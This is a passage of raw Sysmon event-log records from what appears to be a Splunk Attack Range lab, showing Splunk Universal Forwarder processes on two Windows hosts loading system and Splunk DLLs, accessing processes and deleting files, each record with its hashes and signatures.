Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000056366Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.413{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000056365Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.161{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EE90E2EC759E2B20F203CE88B7CFF35E,SHA256=F91873D2F746C8C4DFE7AB72C08841FA004A6A213659A69440FC2C4AC17F1BDD,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018105Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:20.682{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4FDDFE83690B9EBE175073E95DF19F4A,SHA256=EDE8A2A35BA924102D05D3DE6E5385CD506EC0AA952AB5006A075200A018A6F7,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000056522Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.982{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000056521Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.982{7BD73061-74E4-613B-A90B-00000000F001}25962496C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000056520Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.966{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000056519Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.966{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000056518Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.781{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000056517Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.781{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000056516Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.781{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000056515Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.766{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000056514Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.766{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000056513Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.766{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000056512Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.766{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000056511Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.766{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000056510Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.766{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000056509Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.766{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000056508Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.766{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000056507Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.766{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000056506Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.766{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000056505Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.766{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000056504Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.766{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000056503Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.766{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000056502Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.766{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000056501Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.766{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000056500Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.766{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000056499Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.766{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000056498Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.766{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000056497Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.766{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000056496Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.766{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000056495Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.766{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000056494Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.766{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000056493Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.766{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000056492Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.766{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000056491Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.766{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000056490Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.766{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000056489Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.766{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000056488Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.766{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000056487Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.766{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000056486Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.766{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000056485Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.766{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\secur32.dll10.0.14393.2273 (rs1_release_1.180427-1811)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsecur32.dllMD5=BCF1B2F76F8A3A3E9E8F4D4322954651,SHA256=46B327CD50E728CBC22BD80F39DCEF2789AB780C77B6D285EEB90126B06EEEB5,IMPHASH=0D8FF9DE2DA5C07D680347B1A098E759trueMicrosoft WindowsValid 734700x800000000000000056484Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.766{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000056483Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.766{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000056482Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.765{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000056481Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.764{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program 